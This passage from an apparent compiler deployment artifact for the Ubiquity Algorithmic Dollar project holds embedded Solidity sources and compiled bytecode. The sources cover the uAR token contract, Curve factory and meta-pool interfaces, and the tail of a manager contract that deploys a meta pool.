_crv3PoolTokenAddress,\\n uint256 _amplificationCoefficient,\\n uint256 _fee\\n ) external onlyAdmin {\\n // Create new StableSwap meta pool (uAD <-> 3Crv)\\n address metaPool =\\n ICurveFactory(_curveFactory).deploy_metapool(\\n _crvBasePool,\\n ERC20(dollarTokenAddress).name(),\\n ERC20(dollarTokenAddress).symbol(),\\n dollarTokenAddress,\\n _amplificationCoefficient,\\n _fee\\n );\\n stableSwapMetaPoolAddress = metaPool;\\n\\n // Approve the newly-deployed meta pool to transfer this contract's funds\\n uint256 crv3PoolTokenAmount =\\n IERC20(_crv3PoolTokenAddress).balanceOf(address(this));\\n uint256 uADTokenAmount =\\n IERC20(dollarTokenAddress).balanceOf(address(this));\\n\\n // safe approve revert if approve from non-zero to non-zero allowance\\n IERC20(_crv3PoolTokenAddress).safeApprove(metaPool, 0);\\n IERC20(_crv3PoolTokenAddress).safeApprove(\\n metaPool,\\n crv3PoolTokenAmount\\n );\\n\\n IERC20(dollarTokenAddress).safeApprove(metaPool, 0);\\n IERC20(dollarTokenAddress).safeApprove(metaPool, uADTokenAmount);\\n\\n // coin at index 0 is uAD and index 1 is 3CRV\\n require(\\n IMetaPool(metaPool).coins(0) == dollarTokenAddress &&\\n IMetaPool(metaPool).coins(1) == _crv3PoolTokenAddress,\\n \\\"uADMGR: COIN_ORDER_MISMATCH\\\"\\n );\\n // Add the initial liquidity to the StableSwap meta pool\\n uint256[2] memory amounts =\\n [\\n IERC20(dollarTokenAddress).balanceOf(address(this)),\\n IERC20(_crv3PoolTokenAddress).balanceOf(address(this))\\n ];\\n\\n // set curve 3Pool address\\n curve3PoolTokenAddress = _crv3PoolTokenAddress;\\n IMetaPool(metaPool).add_liquidity(amounts, 0, msg.sender);\\n }\\n\\n function getExcessDollarsDistributor(address _debtCouponManagerAddress)\\n external\\n view\\n returns (address)\\n {\\n return _excessDollarDistributors[_debtCouponManagerAddress];\\n }\\n}\\n\",\"keccak256\":\"0xc86d80999cdfecfd7228760b8f80d76a9081b40e00b978ac9ae7021a46db56d9\",\"license\":\"MIT\"},\"contracts/UbiquityAutoRedeem.sol\":{\"content\":\"// SPDX-License-Identifier: Apache-2.0\\npragma solidity ^0.8.3;\\n\\nimport \\\"./ERC20Ubiquity.sol\\\";\\n\\ncontract UbiquityAutoRedeem is ERC20Ubiquity {\\n constructor(address _manager)\\n ERC20Ubiquity(_manager, \\\"Ubiquity Auto Redeem\\\", \\\"uAR\\\")\\n {} // solhint-disable-line no-empty-blocks\\n\\n /// @notice raise capital in form of uAR (only redeemable when uAD > 1$)\\n /// @param amount the amount to be minted\\n /// @dev you should be minter to call that function\\n function raiseCapital(uint256 amount) external {\\n address treasuryAddress = manager.treasuryAddress();\\n mint(treasuryAddress, amount);\\n }\\n}\\n\",\"keccak256\":\"0x265ec5a29d2f40457c900461112e4b7ef96a63e4ee417bd82cdcce231f9e75a6\",\"license\":\"Apache-2.0\"},\"contracts/interfaces/ICurveFactory.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol. SEE BELOW FOR SOURCE. !!\\npragma solidity ^0.8.3;\\n\\ninterface ICurveFactory {\\n event BasePoolAdded(address base_pool, address implementat);\\n event MetaPoolDeployed(\\n address coin,\\n address base_pool,\\n uint256 A,\\n uint256 fee,\\n address deployer\\n );\\n\\n function find_pool_for_coins(address _from, address _to)\\n external\\n view\\n returns (address);\\n\\n function find_pool_for_coins(\\n address _from,\\n address _to,\\n uint256 i\\n ) external view returns (address);\\n\\n function get_n_coins(address _pool)\\n external\\n view\\n returns (uint256, uint256);\\n\\n function get_coins(address _pool) external view returns (address[2] memory);\\n\\n function get_underlying_coins(address _pool)\\n external\\n view\\n returns (address[8] memory);\\n\\n function get_decimals(address _pool)\\n external\\n view\\n returns (uint256[2] memory);\\n\\n function get_underlying_decimals(address _pool)\\n external\\n view\\n returns (uint256[8] memory);\\n\\n function get_rates(address _pool) external view returns (uint256[2] memory);\\n\\n function get_balances(address _pool)\\n external\\n view\\n returns (uint256[2] memory);\\n\\n function get_underlying_balances(address _pool)\\n external\\n view\\n returns (uint256[8] memory);\\n\\n function get_A(address _pool) external view returns (uint256);\\n\\n function get_fees(address _pool) external view returns (uint256, uint256);\\n\\n function get_admin_balances(address _pool)\\n external\\n view\\n returns (uint256[2] memory);\\n\\n function get_coin_indices(\\n address _pool,\\n address _from,\\n address _to\\n )\\n external\\n view\\n returns (\\n int128,\\n int128,\\n bool\\n );\\n\\n function add_base_pool(\\n address _base_pool,\\n address _metapool_implementation,\\n address _fee_receiver\\n ) external;\\n\\n function deploy_metapool(\\n address _base_pool,\\n string memory _name,\\n string memory _symbol,\\n address _coin,\\n uint256 _A,\\n uint256 _fee\\n ) external returns (address);\\n\\n function commit_transfer_ownership(address addr) external;\\n\\n function accept_transfer_ownership() external;\\n\\n function set_fee_receiver(address _base_pool, address _fee_receiver)\\n external;\\n\\n function convert_fees() external returns (bool);\\n\\n function admin() external view returns (address);\\n\\n function future_admin() external view returns (address);\\n\\n function pool_list(uint256 arg0) external view returns (address);\\n\\n function pool_count() external view returns (uint256);\\n\\n function base_pool_list(uint256 arg0) external view returns (address);\\n\\n function base_pool_count() external view returns (uint256);\\n\\n function fee_receiver(address arg0) external view returns (address);\\n}\\n\",\"keccak256\":\"0xcb339cf4aab1d3b5e35f541b496ffba0b9ca6a5e1da6dfbe9d03cde693d2f10e\",\"license\":\"MIT\"},\"contracts/interfaces/IERC20Ubiquity.sol\":{\"content\":\"// SPDX-License-Identifier: Apache-2.0\\npragma solidity ^0.8.3;\\n\\nimport \\\"@openzeppelin/contracts/token/ERC20/IERC20.sol\\\";\\n\\n/// @title ERC20 Ubiquiti preset interface\\n/// @author Ubiquity Algorithmic Dollar\\ninterface IERC20Ubiquity is IERC20 {\\n // ----------- Events -----------\\n event Minting(\\n address indexed _to,\\n address indexed _minter,\\n uint256 _amount\\n );\\n\\n event Burning(address indexed _burned, uint256 _amount);\\n\\n // ----------- State changing api -----------\\n function burn(uint256 amount) external;\\n\\n function permit(\\n address owner,\\n address spender,\\n uint256 value,\\n uint256 deadline,\\n uint8 v,\\n bytes32 r,\\n bytes32 s\\n ) external;\\n\\n // ----------- Burner only state changing api -----------\\n function burnFrom(address account, uint256 amount) external;\\n\\n // ----------- Minter only state changing api -----------\\n function mint(address account, uint256 amount) external;\\n}\\n\",\"keccak256\":\"0xf1170e23d8c1c05ecb677a1417bd13a646383544e292100edd7da32fb2188d91\",\"license\":\"Apache-2.0\"},\"contracts/interfaces/IMetaPool.sol\":{\"content\":\"// SPDX-License-Identifier: UNLICENSED\\n// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol. SEE BELOW FOR SOURCE. !!\\npragma solidity ^0.8.3;\\n\\ninterface IMetaPool {\\n event Transfer(\\n address indexed sender,\\n address indexed receiver,\\n uint256 value\\n );\\n event Approval(\\n address indexed owner,\\n address indexed spender,\\n uint256 value\\n );\\n event TokenExchange(\\n address indexed buyer,\\n int128 sold_id,\\n uint256 tokens_sold,\\n int128 bought_id,\\n uint256 tokens_bought\\n );\\n event TokenExchangeUnderlying(\\n address indexed buyer,\\n int128 sold_id,\\n uint256 tokens_sold,\\n int128 bought_id,\\n uint256 tokens_bought\\n );\\n event AddLiquidity(\\n address indexed provider,\\n uint256[2] token_amounts,\\n uint256[2] fees,\\n uint256 invariant,\\n uint256 token_supply\\n );\\n event RemoveLiquidity(\\n address indexed provider,\\n uint256[2] token_amounts,\\n uint256[2] fees,\\n uint256 token_supply\\n );\\n event RemoveLiquidityOne(\\n address indexed provider,\\n uint256 token_amount,\\n uint256 coin_amount,\\n uint256 token_supply\\n );\\n event RemoveLiquidityImbalance(\\n address indexed provider,\\n uint256[2] token_amounts,\\n uint256[2] fees,\\n uint256 invariant,\\n uint256 token_supply\\n );\\n event CommitNewAdmin(uint256 indexed deadline, address indexed admin);\\n event NewAdmin(address indexed admin);\\n event CommitNewFee(\\n uint256 indexed deadline,\\n uint256 fee,\\n uint256 admin_fee\\n );\\n event NewFee(uint256 fee, uint256 admin_fee);\\n event RampA(\\n uint256 old_A,\\n uint256 new_A,\\n uint256 initial_time,\\n uint256 future_time\\n );\\n event StopRampA(uint256 A, uint256 t);\\n\\n function initialize(\\n string memory _name,\\n string memory _symbol,\\n address _coin,\\n uint256 _decimals,\\n uint256 _A,\\n uint256 _fee,\\n address _admin\\n ) external;\\n\\n function decimals() external view returns (uint256);\\n\\n function transfer(address _to, uint256 _value) external returns (bool);\\n\\n function transferFrom(\\n address _from,\\n address _to,\\n uint256 _value\\n ) external returns (bool);\\n\\n function approve(address _spender, uint256 _value) external returns (bool);\\n\\n function get_previous_balances() external view returns (uint256[2] memory);\\n\\n function get_balances() external view returns (uint256[2] memory);\\n\\n function get_twap_balances(\\n uint256[2] memory _first_balances,\\n uint256[2] memory _last_balances,\\n uint256 _time_elapsed\\n ) external view returns (uint256[2] memory);\\n\\n function get_price_cumulative_last()\\n external\\n view\\n returns (uint256[2] memory);\\n\\n function admin_fee() external view returns (uint256);\\n\\n function A() external view returns (uint256);\\n\\n function A_precise() external view returns (uint256);\\n\\n function get_virtual_price() external view returns (uint256);\\n\\n function calc_token_amount(uint256[2] memory _amounts, bool _is_deposit)\\n external\\n view\\n returns (uint256);\\n\\n function calc_token_amount(\\n uint256[2] memory _amounts,\\n bool _is_deposit,\\n bool _previous\\n ) external view returns (uint256);\\n\\n function add_liquidity(uint256[2] memory _amounts, uint256 _min_mint_amount)\\n external\\n returns (uint256);\\n\\n function add_liquidity(\\n uint256[2] memory _amounts,\\n uint256 _min_mint_amount,\\n address _receiver\\n ) external returns (uint256);\\n\\n function get_dy(\\n int128 i,\\n int128 j,\\n uint256 dx\\n ) external view returns (uint256);\\n\\n function get_dy(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256[2] memory _balances\\n ) external view returns (uint256);\\n\\n function get_dy_underlying(\\n int128 i,\\n int128 j,\\n uint256 dx\\n ) external view returns (uint256);\\n\\n function get_dy_underlying(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256[2] memory _balances\\n ) external view returns (uint256);\\n\\n function exchange(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256 min_dy\\n ) external returns (uint256);\\n\\n function exchange(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256 min_dy,\\n address _receiver\\n ) external returns (uint256);\\n\\n function exchange_underlying(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256 min_dy\\n ) external returns (uint256);\\n\\n function exchange_underlying(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256 min_dy,\\n address _receiver\\n ) external returns (uint256);\\n\\n function remove_liquidity(\\n uint256 _burn_amount,\\n uint256[2] memory _min_amounts\\n ) external returns (uint256[2] memory);\\n\\n function remove_liquidity(\\n uint256 _burn_amount,\\n uint256[2] memory _min_amounts,\\n address _receiver\\n ) external returns (uint256[2] memory);\\n\\n function remove_liquidity_imbalance(\\n uint256[2] memory _amounts,\\n uint256 _max_burn_amount\\n ) external returns (uint256);\\n\\n function remove_liquidity_imbalance(\\n uint256[2] memory _amounts,\\n uint256 _max_burn_amount,\\n address _receiver\\n ) external returns (uint256);\\n\\n function calc_withdraw_one_coin(uint256 _burn_amount, int128 i)\\n external\\n view\\n returns (uint256);\\n\\n function calc_withdraw_one_coin(\\n uint256 _burn_amount,\\n int128 i,\\n bool _previous\\n ) external view returns (uint256);\\n\\n function remove_liquidity_one_coin(\\n uint256 _burn_amount,\\n int128 i,\\n uint256 _min_received\\n ) external returns (uint256);\\n\\n function remove_liquidity_one_coin(\\n uint256 _burn_amount,\\n int128 i,\\n uint256 _min_received,\\n address _receiver\\n ) external returns (uint256);\\n\\n function ramp_A(uint256 _future_A, uint256 _future_time) external;\\n\\n function stop_ramp_A() external;\\n\\n function admin_balances(uint256 i) external view returns (uint256);\\n\\n function withdraw_admin_fees() external;\\n\\n function admin() external view returns (address);\\n\\n function coins(uint256 arg0) external view returns (address);\\n\\n function balances(uint256 arg0) external view returns (uint256);\\n\\n function fee() external view returns (uint256);\\n\\n function block_timestamp_last() external view returns (uint256);\\n\\n function initial_A() external view returns (uint256);\\n\\n function future_A() external view returns (uint256);\\n\\n function initial_A_time() external view returns (uint256);\\n\\n function future_A_time() external view returns (uint256);\\n\\n function name() external view returns (string memory);\\n\\n function symbol() external view returns (string memory);\\n\\n function balanceOf(address arg0) external view returns (uint256);\\n\\n function allowance(address arg0, address arg1)\\n external\\n view\\n returns (uint256);\\n\\n function totalSupply() external view returns (uint256);\\n}\\n\",\"keccak256\":\"0xc89cc32a2a8a0336c380ed2ae3c3b5a9292cf1cd431cc09dec4d3057389ed893\",\"license\":\"UNLICENSED\"},\"contracts/interfaces/IUbiquityAlgorithmicDollar.sol\":{\"content\":\"// SPDX-License-Identifier: Apache-2.0\\npragma solidity ^0.8.3;\\n\\nimport \\\"./IERC20Ubiquity.sol\\\";\\n\\n/// @title UAD stablecoin interface\\n/// @author Ubiquity Algorithmic Dollar\\ninterface IUbiquityAlgorithmicDollar is IERC20Ubiquity {\\n event IncentiveContractUpdate(\\n address indexed _incentivized,\\n address indexed _incentiveContract\\n );\\n\\n function setIncentiveContract(address account, address incentive) external;\\n\\n function incentiveContract(address account) external view returns (address);\\n}\\n\",\"keccak256\":\"0x34469f12207adbfd6003ce7710ddc7b0ee3c1637b5d7fbac2b35c9e3fe3b6182\",\"license\":\"Apache-2.0\"}},\"version\":1}", - "bytecode": "0x60806040523480156200001157600080fd5b506040516200237938038062002379833981016040819052620000349162000467565b806040518060400160405280601481526020017f5562697175697479204175746f2052656465656d000000000000000000000000815250604051806040016040528060038152602001623aa0a960e91b81525081818160039080519060200190620000a1929190620003c1565b508051620000b7906004906020840190620003c1565b50506005805460ff19169055508151620000d9906008906020850190620003c1565b508051620000ef906009906020840190620003c1565b5060058054610100600160a81b0319166101006001600160a01b03868116820292909217928390556040805163a217fddf60e01b8152905191909304909116916391d1485491839163a217fddf916004808301926020929190829003018186803b1580156200015d57600080fd5b505afa15801562000172573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001989190620004b9565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b158015620001d657600080fd5b505afa158015620001eb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000211919062000497565b620002705760405162461bcd60e51b815260206004820152602560248201527f45524332303a206465706c6f796572206d757374206265206d616e616765722060448201526430b236b4b760d91b606482015260840160405180910390fd5b467f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f6200029c62000327565b805160209182012060408051808201825260018152603160f81b90840152805192830193909352918101919091527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc66060820152608081018290523060a082015260c0016040516020818303038152906040528051906020012060068190555050505050506200050f565b6060600880546200033890620004d2565b80601f01602080910402602001604051908101604052809291908181526020018280546200036690620004d2565b8015620003b75780601f106200038b57610100808354040283529160200191620003b7565b820191906000526020600020905b8154815290600101906020018083116200039957829003601f168201915b5050505050905090565b828054620003cf90620004d2565b90600052602060002090601f016020900481019282620003f357600085556200043e565b82601f106200040e57805160ff19168380011785556200043e565b828001600101855582156200043e579182015b828111156200043e57825182559160200191906001019062000421565b506200044c92915062000450565b5090565b5b808211156200044c576000815560010162000451565b60006020828403121562000479578081fd5b81516001600160a01b038116811462000490578182fd5b9392505050565b600060208284031215620004a9578081fd5b8151801515811462000490578182fd5b600060208284031215620004cb578081fd5b5051919050565b600181811c90821680620004e757607f821691505b602082108114156200050957634e487b7160e01b600052602260045260246000fd5b50919050565b611e5a806200051f6000396000f3fe608060405234801561001057600080fd5b50600436106101a35760003560e01c80635c975abb116100ee578063a457c2d711610097578063c47f002711610071578063c47f002714610370578063c621bf8a14610383578063d505accf14610396578063dd62ed3e146103a9576101a3565b8063a457c2d714610337578063a9059cbb1461034a578063b84c82461461035d576101a3565b80637ecebe00116100c85780637ecebe00146103075780638456cb591461032757806395d89b411461032f576101a3565b80635c975abb146102c057806370a08231146102cb57806379cc6790146102f4576101a3565b80633644e5151161015057806340c10f191161012a57806340c10f191461026a57806342966c681461027d578063481c6a7514610290576101a3565b80633644e51514610244578063395093511461024d5780633f4ba83a14610260576101a3565b806323b872dd1161018157806323b872dd146101fb57806330adf81f1461020e578063313ce56714610235576101a3565b806306fdde03146101a8578063095ea7b3146101c657806318160ddd146101e9575b600080fd5b6101b06103e2565b6040516101bd9190611d34565b60405180910390f35b6101d96101d4366004611c0f565b610474565b60405190151581526020016101bd565b6002545b6040519081526020016101bd565b6101d9610209366004611b5a565b61048a565b6101ed7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b604051601281526020016101bd565b6101ed60065481565b6101d961025b366004611c0f565b610555565b61026861058c565b005b610268610278366004611c0f565b6106e0565b61026861028b366004611d1c565b6108bf565b6005546102a89061010090046001600160a01b031681565b6040516001600160a01b0390911681526020016101bd565b60055460ff166101d9565b6101ed6102d9366004611ae3565b6001600160a01b031660009081526020819052604090205490565b610268610302366004611c0f565b610946565b6101ed610315366004611ae3565b60076020526000908152604090205481565b610268610b27565b6101b0610c79565b6101d9610345366004611c0f565b610c88565b6101d9610358366004611c0f565b610d3b565b61026861036b366004611c72565b610d48565b61026861037e366004611c72565b610eb7565b610268610391366004611d1c565b611022565b6102686103a4366004611b9a565b6110b6565b6101ed6103b7366004611b22565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6060600880546103f190611db6565b80601f016020809104026020016040519081016040528092919081815260200182805461041d90611db6565b801561046a5780601f1061043f5761010080835404028352916020019161046a565b820191906000526020600020905b81548152906001019060200180831161044d57829003601f168201915b5050505050905090565b60006104813384846112d5565b50600192915050565b60006104978484846113fa565b6001600160a01b0384166000908152600160209081526040808320338452909152902054828110156105365760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206160448201527f6c6c6f77616e636500000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b61054a85336105458685611d9f565b6112d5565b506001949350505050565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610481918590610545908690611d87565b6005546040805163e63ab1e960e01b815290516101009092046001600160a01b0316916391d1485491839163e63ab1e991600480820192602092909190829003018186803b1580156105dd57600080fd5b505afa1580156105f1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106159190611c5a565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b15801561065257600080fd5b505afa158015610666573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061068a9190611c3a565b6106d65760405162461bcd60e51b815260206004820152601c60248201527f476f7665726e616e636520746f6b656e3a206e6f742070617573657200000000604482015260640161052d565b6106de611450565b565b60055460408051632f533cb760e01b815290516101009092046001600160a01b0316916391d14854918391632f533cb791600480820192602092909190829003018186803b15801561073157600080fd5b505afa158015610745573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107699190611c5a565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b1580156107a657600080fd5b505afa1580156107ba573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107de9190611c3a565b61082a5760405162461bcd60e51b815260206004820152601c60248201527f476f7665726e616e636520746f6b656e3a206e6f74206d696e74657200000000604482015260640161052d565b60055460ff16156108705760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015260640161052d565b61087a82826114ec565b60405181815233906001600160a01b038416907fb1233017d63154bc561d57c16f7b6a55e2e1acd7fcac94045a9f35fb31a850ca906020015b60405180910390a35050565b60055460ff16156109055760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015260640161052d565b61090e816115d0565b60405181815233907f62626c8ae1f1f3ad3b2f42ba7b806bbc48e9a59dab06414984113eaab612fe479060200160405180910390a250565b6005546040805163f39e5a4760e01b815290516101009092046001600160a01b0316916391d1485491839163f39e5a4791600480820192602092909190829003018186803b15801561099757600080fd5b505afa1580156109ab573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109cf9190611c5a565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b158015610a0c57600080fd5b505afa158015610a20573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a449190611c3a565b610a905760405162461bcd60e51b815260206004820152601c60248201527f476f7665726e616e636520746f6b656e3a206e6f74206275726e657200000000604482015260640161052d565b60055460ff1615610ad65760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015260640161052d565b610ae082826115dd565b816001600160a01b03167f62626c8ae1f1f3ad3b2f42ba7b806bbc48e9a59dab06414984113eaab612fe4782604051610b1b91815260200190565b60405180910390a25050565b6005546040805163e63ab1e960e01b815290516101009092046001600160a01b0316916391d1485491839163e63ab1e991600480820192602092909190829003018186803b158015610b7857600080fd5b505afa158015610b8c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bb09190611c5a565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b158015610bed57600080fd5b505afa158015610c01573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c259190611c3a565b610c715760405162461bcd60e51b815260206004820152601c60248201527f476f7665726e616e636520746f6b656e3a206e6f742070617573657200000000604482015260640161052d565b6106de611738565b6060600980546103f190611db6565b3360009081526001602090815260408083206001600160a01b038616845290915281205482811015610d225760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760448201527f207a65726f000000000000000000000000000000000000000000000000000000606482015260840161052d565b610d3133856105458685611d9f565b5060019392505050565b60006104813384846113fa565b6005546040805163a217fddf60e01b815290516101009092046001600160a01b0316916391d1485491839163a217fddf91600480820192602092909190829003018186803b158015610d9957600080fd5b505afa158015610dad573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dd19190611c5a565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b158015610e0e57600080fd5b505afa158015610e22573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e469190611c3a565b610ea05760405162461bcd60e51b815260206004820152602560248201527f45524332303a206465706c6f796572206d757374206265206d616e616765722060448201526430b236b4b760d91b606482015260840161052d565b8051610eb3906009906020840190611a4a565b5050565b6005546040805163a217fddf60e01b815290516101009092046001600160a01b0316916391d1485491839163a217fddf91600480820192602092909190829003018186803b158015610f0857600080fd5b505afa158015610f1c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f409190611c5a565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b158015610f7d57600080fd5b505afa158015610f91573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fb59190611c3a565b61100f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a206465706c6f796572206d757374206265206d616e616765722060448201526430b236b4b760d91b606482015260840161052d565b8051610eb3906008906020840190611a4a565b6000600560019054906101000a90046001600160a01b03166001600160a01b031663c5f956af6040518163ffffffff1660e01b815260040160206040518083038186803b15801561107257600080fd5b505afa158015611086573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110aa9190611b06565b9050610eb381836106e0565b428410156111065760405162461bcd60e51b815260206004820152600f60248201527f446f6c6c61723a20455850495245440000000000000000000000000000000000604482015260640161052d565b6006546001600160a01b038816600090815260076020526040812080549192917f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9918b918b918b91908761115983611df1565b909155506040805160208101969096526001600160a01b0394851690860152929091166060840152608083015260a082015260c0810187905260e001604051602081830303815290604052805190602001206040516020016111d292919061190160f01b81526002810192909252602282015260420190565b60408051601f198184030181528282528051602091820120600080855291840180845281905260ff88169284019290925260608301869052608083018590529092509060019060a0016020604051602081039080840390855afa15801561123d573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116158015906112735750886001600160a01b0316816001600160a01b0316145b6112bf5760405162461bcd60e51b815260206004820152601960248201527f446f6c6c61723a20494e56414c49445f5349474e415455524500000000000000604482015260640161052d565b6112ca8989896112d5565b505050505050505050565b6001600160a01b03831661313375760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161052d565b6001600160a01b0382166113985760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161052d565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b60055460ff16156114405760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015260640161052d565b61144b8383836117b3565b505050565b60055460ff166114a25760405162461bcd60e51b815260206004820152601460248201527f5061757361626c653a206e6f7420706175736564000000000000000000000000604482015260640161052d565b6005805460ff191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa335b6040516001600160a01b03909116815260200160405180910390a1565b6001600160a01b0382166115425760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640161052d565b61154e600083836119c5565b80600260008282546115609190611d87565b90915550506001600160a01b0382166000908152602081905260408120805483929061158d908490611d87565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906020016108b3565b6115da33826115dd565b50565b6001600160a01b03821661163d5760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b606482015260840161052d565b611649826000836119c5565b6001600160a01b038216600090815260208190526040902054818110156116bd5760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b606482015260840161052d565b6116c78282611d9f565b6001600160a01b038416600090815260208190526040812091909155600280548492906116f5908490611d9f565b90915550506040518281526000906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906020016113ed565b60055460ff161561177e5760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015260640161052d565b6005805460ff191660011790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a2586114cf3390565b6001600160a01b03831661182f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f6472657373000000000000000000000000000000000000000000000000000000606482015260840161052d565b6001600160a01b0382166118915760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161052d565b61189c8383836119c5565b6001600160a01b0383166000908152602081905260409020548181101561192b5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206260448201527f616c616e63650000000000000000000000000000000000000000000000000000606482015260840161052d565b6119358282611d9f565b6001600160a01b03808616600090815260208190526040808220939093559085168152908120805484929061196b908490611d87565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516119b791815260200190565b60405180910390a350505050565b61144b8383836119d760055460ff1690565b1561144b5760405162461bcd60e51b815260206004820152602a60248201527f45524332305061757361626c653a20746f6b656e207472616e7366657220776860448201527f696c652070617573656400000000000000000000000000000000000000000000606482015260840161052d565b828054611a5690611db6565b90600052602060002090601f016020900481019282611a785760008555611abe565b82601f10611a9157805160ff1916838001178555611abe565b82800160010185558215611abe579182015b82811115611abe578251825591602001919060010190611aa3565b50611aca929150611ace565b5090565b5b80821115611aca5760008155600101611acf565b600060208284031215611af4578081fd5b8135611aff81611e38565b9392505050565b600060208284031215611b17578081fd5b8151611aff81611e38565b60008060408385031215611b34578081fd5b8235611b3f81611e38565b91506020830135611b4f81611e38565b809150509250929050565b600080600060608486031215611b6e578081fd5b8335611b7981611e38565b92506020840135611b8981611e38565b929592945050506040919091013590565b600080600080600080600060e0888a031215611bb4578283fd5b8735611bbf81611e38565b96506020880135611bcf81611e38565b95506040880135945060608801359350608088013560ff81168114611bf2578384fd5b9699959850939692959460a0840135945060c09093013592915050565b60008060408385031215611c21578182fd5b8235611c2c81611e38565b946020939093013593505050565b600060208284031215611c4b578081fd5b81518015158114611aff578182fd5b600060208284031215611c6b578081fd5b5051919050565b600060208284031215611c83578081fd5b813567ffffffffffffffff80821115611c9a578283fd5b818401915084601f830112611cad578283fd5b813581811115611cbf57611cbf611e22565b604051601f8201601f19908116603f01168101908382118183101715611ce757611ce7611e22565b81604052828152876020848701011115611cff578586fd5b826020860160208301379182016020019490945295945050505050565b600060208284031215611d2d578081fd5b5035919050565b6000602080835283518082850152825b81811015611d6057858101830151858201604001528201611d44565b81811115611d715783604083870101525b50601f01601f1916929092016040019392505050565b60008219821115611d9a57611d9a611e0c565b500190565b600082821015611db157611db1611e0c565b500390565b600181811c90821680611dca57607f821691505b60208210811415611deb57634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415611e0557611e05611e0c565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146115da57600080fdfea164736f6c6343000803000a", - "deployedBytecode": 